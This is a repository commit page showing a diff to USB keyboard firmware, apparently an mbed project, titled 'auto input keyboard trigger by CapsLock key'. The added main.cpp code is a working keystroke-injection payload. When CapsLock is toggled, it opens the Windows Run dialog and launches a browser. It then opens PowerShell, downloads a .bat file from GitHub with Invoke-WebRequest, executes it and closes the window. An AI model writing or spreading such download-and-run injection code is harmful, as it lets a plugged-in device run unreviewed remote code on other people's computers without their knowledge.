Yihui Xiong
/
USBKeyboard
USB keyboard
Fork of USBKeyboard_HelloWorld by
Revision 8:336b28c80e29, committed 2013-09-26
- Comitter:
- yihui
- Date:
- Thu Sep 26 08:30:34 2013 +0000
- Parent:
- 7:cf2d79e45a4b
- Child:
- 9:cad78887d29a
- Child:
- 10:fbbd33bb0676
- Commit message:
- auto input keyboard trigger by CapsLock key
Changed in this revision
main.cpp | Show annotated file Show diff for this revision Revisions of this file |
--- a/main.cpp Thu Sep 26 08:21:37 2013 +0000 +++ b/main.cpp Thu Sep 26 08:30:34 2013 +0000 @@ -9,11 +9,39 @@ //USBKeyboard USBKeyboard keyboard; -int main(void) { - while (!keyboard.configured()) { +int main(void) { + uint8_t caps; // status of CapsLock + uint8_t status; + + while (!keyboard.configured()) { // wait until keyboard is configured } - + while (1) { - leds = keyboard.lockStatus(); + status = keyboard.lockStatus(); + caps = status & 0x2; + leds = status; + + // check if CapsLock is pressed + while ((keyboard.lockStatus() & 0x2) == caps) { + leds = keyboard.lockStatus(); + } + + if (!caps) { + keyboard.keyCode(KEY_CAPS_LOCK); // lowercase input + } + + // Automatic input + keyboard.keyCode('r', 0x08); // win + r + wait(0.2); + keyboard.puts("iexplore http://seeedstudio.com\n\n"); + wait(0.2); + keyboard.keyCode('r', 0x8); + wait(0.2); + keyboard.puts("powershell\n\n"); // open powershell + wait(0.2); + keyboard.puts("Invoke-WebRequest https://github.com/xiongyihui/Arch/raw/master/util/havefun.bat -OutFile havefun.bat\n\n"); + wait(2.0); // wait 2 seconds to download havefun.bat + keyboard.puts(".\\havefun.bat\n\n"); // execute havefun.bat + keyboard.puts("exit\n\n"); // exit powershell } } \ No newline at end of file